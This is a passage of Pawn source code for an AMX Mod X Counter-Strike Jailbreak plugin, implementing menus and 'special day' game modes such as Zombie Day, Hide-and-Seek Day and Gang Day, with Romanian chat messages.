                case 10:
                {
                        GhostDay()
                        set_cvar_string("jb_dayss", "Ghost Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Ghost Day !t]", name);
                }
                case 11:
                {
                        new a = get_timeleft()
                        if( a < 301 )
                        {
                                GodModeDay()
                                set_cvar_string("jb_dayss", "GodMode Day");
                                set_cvar_string("jbe_shop", "0");
                                set_cvar_string("jb_autojoin", "1");
                                secundeday = 500

                                new name[33]
                                get_user_name(id, name, 31)
                                chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g GodMode Day !t]", name);
                        }
                        else
                                chatcolor(0, "!t[!gDays!t] !gGodMode Day!y poate fi dat numai in !gUltimele 5 Minute !y.");
                }
                case 12:
                {
                        MagicDay()
                        set_cvar_string("jb_dayss", "Magic Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Magic Day !t]", name);
                }
                case 13:
                {
                        TagDay()
                        set_cvar_string("jb_dayss", "Tag Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Tag Day !t]", name);
                }
                case 14:
                {
                        OneHpDay()
                        set_cvar_string("jb_dayss", "One Hp Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g One Hp Day !t]", name);
                }
                case 15:
                {
                        DodgeBallDay()
                        set_cvar_string("jb_dayss", "DodgeBall Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("sv_parachute", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g DodgeBall Day !t]", name);
                }
                case 16:
                {
                        HeadShotDay()
                        set_cvar_string("jb_dayss", "HeadShot Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!g Days !t] Simon !t[!g %s !t] a pornit !gZiua Speciala!y: !t[!g HeadShot Day !t]", name);
                }
                case 17:
                {
                        PaintBallDay()
                        set_cvar_string("jb_dayss", "PaintBall Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 200

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g PaintBall Day !t]", name);
                }
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        jb_strip_user_cold_weapons(id)

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public ZombieDayMenu(id)
{
        new menu = menu_create("\rZombie Day \yMenu", "zomibieday_menu_handler");

        menu_additem(menu, "Zombie Day \d[\rPrizonieri Zombie\d]", "1", 0);
        menu_additem(menu, "Reverse Zombie Day \d[\rGardieni Zombie\d]", "2", 0);

        menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public zomibieday_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);
        new key = str_to_num(data);

        switch(key)
        {
                case 1:
                {
                        ZombieDay()
                        set_cvar_string("jb_dayss", "Zombie Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 400

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Zombie Day !t]", name);
                }
                case 2:
                {
                        RzmDay()
                        set_cvar_string("jb_dayss", "Reverse Zombie Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 400

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Reverse Zombie Day !t]", name);
                }
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

public HnsDayMenu(id)
{
        new menu = menu_create("\rHns Day \yMenu", "hnsday_menu_handler");

        menu_additem(menu, "Hns Day \d[\rNormal\d]", "1", 0);
        menu_additem(menu, "Hns Simple Day \d[\rFun\d]", "2", 0);

        menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
        menu_display(id, menu, 0);

        return PLUGIN_HANDLED;
}

public hnsday_menu_handler(id, menu, item)
{
        if( item == MENU_EXIT )
        {
                menu_destroy(menu);
                return PLUGIN_HANDLED;
        }

        new data[6], iName[64];
        new access, callback;

        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);
        new key = str_to_num(data);

        switch(key)
        {
                case 1:
                {
                        HnsDay()
                        set_cvar_string("jb_dayss", "Hns Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 300

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Hns Day !t]", name);
                }
                case 2:
                {
                        HnsSimpleDay()
                        set_cvar_string("jb_dayss", "Hns Simple Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 500

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Hns Simple Day !t]", name);
                }
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

/*============ PUBLIC ZILE SPECIALE ============*/
public ZombieDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 1
        secundeday = 400
        set_cvar_string("jb_dayss", "Zombie Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b")

                if(get_user_team(id) == 1)
                {
                        set_user_health(id, 3000);
                        set_user_info(id, "model", "jb_pa_zombie")
                        entity_set_int(id, EV_INT_body, 1)
                        give_item(id, "weapon_knife");
                }
                else if(get_user_team(id) == 2)
                {
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        set_user_health(id, 300);
                }
        }

        fog()
}

public RzmDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 2
        secundeday = 400
        set_cvar_string("jb_dayss", "Reverse Zombie Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_info(id, "model", "jb_pa_zombie")
                        entity_set_int(id, EV_INT_body, 1)
                        set_user_health(id, 3000);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_awp")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo( id, CSW_AWP, 999 );
                        set_user_health(id, 300);
                }
        }

        fog()
}

public SpartanDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 3
        secundeday = 300
        set_cvar_string("jb_dayss", "Spartan Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_awp")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                        cs_set_user_bpammo(id, CSW_AK47, 300);
                        cs_set_user_bpammo(id, CSW_M4A1, 300);
                        cs_set_user_bpammo(id, CSW_AWP, 300);
                }

                if(cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_shield")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                        set_user_health(id, 200);
                }
        }
}

public GravityDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        is_freezed[id] = true

        g_GameMode = 4
        secundeday = 300
        set_cvar_string("jb_dayss", "Gravity Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id)

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_knife")

                        set_user_gravity(id, 0.375);
                }

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200)

                        set_user_gravity(id, 0.375);
                }
        }
}

public GrenadeDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 5
        secundeday = 300
        set_cvar_string("jb_dayss", "Grenade Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                set_task(0.0, "give_hegrenade_task", id)

                strip_user_weapons(id);
        }
}

public NightDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 6
        secundeday = 300
        set_cvar_string("jb_dayss", "NightCrawler Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 150);
                        set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0);
                        set_pev(id, pev_weaponmodel2, _Pumni[0])
                        give_item(id, "weapon_knife")
                }
                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        set_user_health(id, 100);
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_deagle");
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                }
        }
}

public BoxDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 7
        secundeday = 300
        set_cvar_string("jb_dayss", "Box Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_user_health(id, 100);
                client_cmd(0, "mp3 play ^"%s^"", game_box)
        }
}

public GangDay()
{
        new iPlayers[32];
        new iNum;
        new ids;

        g_isDay = true;
        g_GameMode = 8
        secundeday = 300
        set_cvar_string("jb_dayss", "Gang Day");

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                ids = iPlayers[i]
                if( !is_user_alive( ids ) )
                        continue;

                if(cs_get_user_team(ids) == CS_TEAM_T)
                {
                        strip_user_weapons(ids);

                        if(check_blueteam <= check_redteam)
                        {
                                check_blueteam++;
                                clear_bit(check_rteam, ids);
                                set_bit(check_bteam, ids);
                                give_item(ids, "weapon_mp5navy");
                                cs_set_user_bpammo(ids, CSW_MP5NAVY, 50000);
                                set_user_rendering(ids, kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 40)
                                chatcolor(ids, "!g[GangDay]!y Esti in !gEchipa !yAlbastra")
                        }
                        else
                        {
                                check_redteam++;
                                clear_bit(check_bteam, ids);
                                set_bit(check_rteam, ids);
                                give_item(ids, "weapon_mp5navy");
                                cs_set_user_bpammo( ids, CSW_MP5NAVY, 50000 );
                                set_user_rendering(ids, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 40)
                                chatcolor(ids, "!g[GangDay]!y Esti in !gEchipa !yAlbastra")
                        }
                }
                else if(cs_get_user_team(ids) == CS_TEAM_CT)
                {
                        set_user_godmode(ids, true);
                        give_item(ids, "weapon_mp5navy");
                        cs_set_user_bpammo(ids, CSW_MP5NAVY, 50000);
                }
        }

        set_task( 1.0, "GangDay_Countdown", TASK_GANGDAY, _, _, "a", 123451234 );
}

public GangDay_Countdown()
{
        if(check_redteam > 0 && check_blueteam > 0)
        {
                set_hudmessage(255, 20, 20, 0.84, 0.70, 0, 6.0, 1.2);
                ShowSyncHudMsg(0, g_syncHudMessage2, "Rosii: %d^nAlbastrii: %d", check_redteam, check_blueteam);
        }
        else
                if( task_exists(TASK_GANGDAY))
                        remove_task(TASK_GANGDAY);
}

public WarDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 9
        secundeday = 300
        set_cvar_string("jb_dayss", "War Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_deagle")
                give_item(id, "weapon_ak47")
                give_item(id, "weapon_m4a1")
                give_item(id, "weapon_awp")
                cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                cs_set_user_bpammo(id, CSW_AK47, 300);
                cs_set_user_bpammo(id, CSW_M4A1, 300);
                cs_set_user_bpammo(id, CSW_AWP, 300);
                set_user_health(id, 150);
        }
}

public HnsDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 10
        secundeday = 300
        set_cvar_string("jb_dayss", "Hns Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_task(120.0, "reset", id)
                jail_open()

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        Fade_To_Black(id)
                        set_user_godmode(id, true);
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                }
        }

        set_lights("b")

        g_HNSCount = HNSCount;
        set_task( 1.0 , "HnsCount" , _ , _ , _ , "a" , g_HNSCount);
}

public reset(id)
{
        switch(get_user_team(id))
        {
                case 1: set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                case 2:
                {
                        set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN);
                        Reset_Screen(id)
                }
        }
}

public HnsSimpleDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 11
        secundeday = 500
        set_cvar_string("jb_dayss", "Hns Simple Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_task(120.0, "reset_simple", id)
                jail_open()
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        Fade_To_Black(id)
                        set_user_godmode(id, true);
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                }
        }

        g_HNSCount = HNSCount;
        set_task( 1.0 , "HnsCount" , _ , _ , _ , "a" , g_HNSCount);
}

public reset_simple(id)
{
        if(get_user_team(id))
        {
                set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN);
                Reset_Screen(id)
        }
}

public GhostDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 12
        secundeday = 300
        set_cvar_string("jb_dayss", "Ghost Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b");
                jail_open()

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        user_rendering(id, kRenderFxGlowShell, 150.0, 150.0, 170.0, kRenderNormal, 0.0);
                        set_user_noclip(id, 1)
                        set_pev(id, pev_health, 506.0);
                        set_pdata_int(id, m_bloodColor, 15);
                        set_pev(id, pev_maxspeed, 320.0);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        new iEnt = give_item(id, "weapon_m249")

                        if (is_valid_ent(iEnt))
                                cs_set_weapon_ammo(iEnt, 2000)

                        set_pev(id, pev_health, 120.0);
                }
        }
}

public GodModeDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 13
        secundeday = 1200
        jail_open()
        set_cvar_string("jb_dayss", "GodMode Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                //set_lights("a")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo( id, CSW_DEAGLE, 999)

                        set_user_godmode(id, 1)

                        /*if(get_pcvar_num(cvar_players_aura))
                                set_task(0.1, "players_aura", id+TASK_AURA, _, _, "b")*/
                }
        }
}

public MagicDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 14
        secundeday = 300
        set_cvar_string("jb_dayss", "Magic Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife")
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 200);
                        start_magic(id)
                        set_pev(id, pev_maxspeed, 450.0);
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        set_user_health(id, 100);
                        start_magic(id)
                }
        }
}

public TagDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 15
        secundeday = 300
        set_cvar_string("jb_dayss", "Tag Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        szPlayerCT[id] = true
                        set_user_godmode(id, 1)
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN)
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        new Float:szSpeed
                        szSpeed = get_pcvar_float( g_Cvar[4] )
                        set_user_maxspeed(id, szSpeed)

                        new Float:szGravity
                        szGravity = get_pcvar_float( g_Cvar[5] )
                        set_user_gravity(id, szGravity)
                }

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                jail_open()

                set_task(1.0, "PrisoneInformer", 1234, _, _, "b")
                set_task(1.0, "Timer", 123, _, _, "b")
        }
}

public OneHpDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 16
        secundeday = 200
        set_cvar_string("jb_dayss", "One Hp Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 25);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                        set_user_health(id, 1);
        }
}

public DodgeBallDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 17
        secundeday = 200
        set_cvar_string("jb_dayss", "DodgeBall Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                start_dodgeballday()
                jail_open()
        }
}

public HeadShotDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 18
        secundeday = 200
        set_cvar_string("jb_dayss", "HeadShot Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id,"weapon_m4a1")
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        set_user_hitzones(0, 0, 2)
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id,"weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        set_user_hitzones(0, 0, 2)
                }
        }
}

public PaintBallDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 19
        secundeday = 200
        set_cvar_string("jb_dayss", "PaintBall Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                //start_paintball(id)

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item( id, "weapon_mp5navy" )
                        cs_set_user_bpammo( id, CSW_MP5NAVY, 999 );
                }
                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item( id, "weapon_mp5navy" )
                        cs_set_user_bpammo( id, CSW_MP5NAVY, 999 );
                }
        }
}

public give_hegrenade_task(id)
{
        give_item(id, "weapon_hegrenade")
        cs_set_user_bpammo(id, CSW_HEGRENADE, 9999)
}

public block_weapons_task(id)
        g_BlockWeapons = 1

/*=================== FiNISH ===================*/
/*============ PUBLIC ZILE SPECIALE ============*/


public ResModel(id)
{
        new iPlayers[32], iNum, iPid;
        get_players( iPlayers, iNum, "a" );

        for( new i; i < iNum; i++ )
        {
                iPid = iPlayers[i];
                cs_reset_user_model(iPid)
        }
}

public user_kills()
{
        new iPlayers[32];
        new iNum;
        new id;

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i];

                if(get_bit(check_rteam, id))
                        chatcolor(id, "!t[!gGang System!t] !yAti primit !t[!g10!t] !yTigari !")

                user_silentkill(id)

                chatcolor(id, "!t[!gGang System!t] !yCastigatoii !tsunt !yEchipa !gAlbastra !")
        }
}

public user_killss()
{
        new iPlayers[32];
        new iNum;
        new id;

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i];

                if(get_bit(check_bteam, id))
                        chatcolor(id, "!t[!gGang System!t] !yAti primit !t[!g10!t] !yCREDITE !")

                user_silentkill(id)

                chatcolor(id, "!t[!gGang System!t] !yCastigatoii !gsunt !tEchipa !gAlbastra !")
        }
}

public kill_all()
{
        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || !is_user_alive(i))
                        continue

                switch(g_GameMode)
                {
                        case 1: if(get_user_team(i) == 1) user_kill(i)
                        case 2: if(get_user_team(i) == 1) user_kill(i)
                        case 3: user_kill(i)
                        case 4: user_kill(i)
                        case 5: if(get_user_team(i) == 2) user_kill(i)
                        case 6: user_kill(i)
                        case 7: if(get_user_team(i) == 1) user_kill(i)
                        case 8: user_kill(i)
                        case 9: if(get_user_team(i) == 2) user_kill(i)
                        case 10: if(get_user_team(i) == 2) user_kill(i)
                        case 11: if(get_user_team(i) == 2) user_kill(i)
                        case 12: user_kill(i)
                        case 13: user_kill(i)
                        case 14: if(get_user_team(i) == 2) user_kill(i)
                        case 15: if(get_user_team(i) == 1) user_kill(i)
                        case 16: user_kill(i)
                        case 17: if(get_user_team(i) == 2) user_kill(i)
                        case 18: if(get_user_team(i) == 2) user_kill(i)
                        case 19: user_kill(i)
                        case 20: user_kill(i)
                }

                //user_kill(i)
        }
}

public fwdDamagePlayer(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits, Float:vecOrigin[3])
{
        if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
                return HAM_IGNORED

        if(g_GameMode == 8)
        {
                if(cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_T)
                {
                        if(get_bit(check_bteam, attacker) && get_bit(check_bteam, victim)|| get_bit(check_rteam, attacker) && get_bit(check_rteam, victim))
                                return HAM_SUPERCEDE;
                        else if(get_bit(check_bteam, attacker) && get_bit(check_rteam, victim)|| get_bit(check_rteam, attacker) && get_bit(check_bteam, victim))
                        {
                                if(get_user_health(victim) > 28)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-28 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Gang Day" )
                        }
                }
                else if(cs_get_user_team(attacker) == CS_TEAM_CT && cs_get_user_team(victim) == CS_TEAM_T)
                        return HAM_SUPERCEDE;
        }

        if(g_GameMode == 15)
        {
                if(get_user_team(attacker) == 2 && get_user_team(victim) == 1)
                {
                        if(!tagday[victim] && !szPlayerCaught[victim])
                        {
                                set_pev(victim, pev_flags, pev(victim, pev_flags) | FL_FROZEN)
                                set_user_rendering(victim, kRenderFxGlowShell, 0, 206, 209, kRenderNormal, 25)
                                szPlayerCaught[victim] = true
                                szPlayerTime[victim] = get_pcvar_num( g_Cvar[2] )
                                set_task(1.0, "TouchKill", victim)
                                ++szHelpNum
                        }
                        set_user_health(victim, 100)
                }
                else if(szPlayerCaught[victim] && get_user_team(attacker) == 1 && get_user_team(victim) == 1)
                {
                        szPlayerCaught[victim] = false
                        remove_task(victim)
                        szPlayerTime[victim] = 0 

                        new szHealth
                        szHealth = get_pcvar_num( g_Cvar[3] )
                        set_user_health(victim, get_user_health(victim) - szHealth)
                        set_user_health(victim, get_user_health(attacker) + szHealth)

                        vecOrigin[2] += 15.0;
                        CREATE_SPRITETRAIL(vecOrigin, g_pSpriteFrost, 30, 20, 2, 20, 10);

                        new Float:fOrigin[3];
                        CREATE_BREAKMODEL(fOrigin, _, _, 10, g_pModelFrost, 10, 25, BREAK_GLASS);

                        emit_sound(victim, CHAN_AUTO, "jb_pa_sounds/days_mode/tagday/freeze_player.wav", VOL_NORM, ATTN_NORM, 0, PITCH_NORM);

                        set_user_rendering(victim, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25)
                        set_pev(victim, pev_flags, pev(victim, pev_flags) & ~FL_FROZEN)

                        new Float:szSpeed
                        szSpeed = get_pcvar_float( g_Cvar[4] )
                        set_user_maxspeed(victim, szSpeed)

                        new Float:szGravity
                        szGravity = get_pcvar_float( g_Cvar[5] )
                        set_user_gravity(victim, szGravity)

                        tagday[victim] = true
                        set_task(2.0, "tagday_end", victim + 22838)
                }
        }

        return HAM_IGNORED
}

public Fade_To_Black(id)
{
        message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
        write_short((1<<3)|(1<<8)|(1<<10))
        write_short((1<<3)|(1<<8)|(1<<10))
        write_short((1<<0)|(1<<2))
        write_byte(255)
        write_byte(0)
        write_byte(0)
        write_byte(255)
        message_end()
}

public Reset_Screen(id)
{
        message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
        write_short(1<<2)
        write_short(0)
        write_short(0)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        message_end()
}

public fog()
{
        message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
        write_byte(215)  // R
        write_byte(0)  // G
        write_byte(0)  // B
        write_byte(66) // SD
        write_byte(96)  // ED
        write_byte(27)  // D1
        write_byte(59)  // D2
        message_end()
}

public nofog()
{
        message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
        write_byte(0)  // R
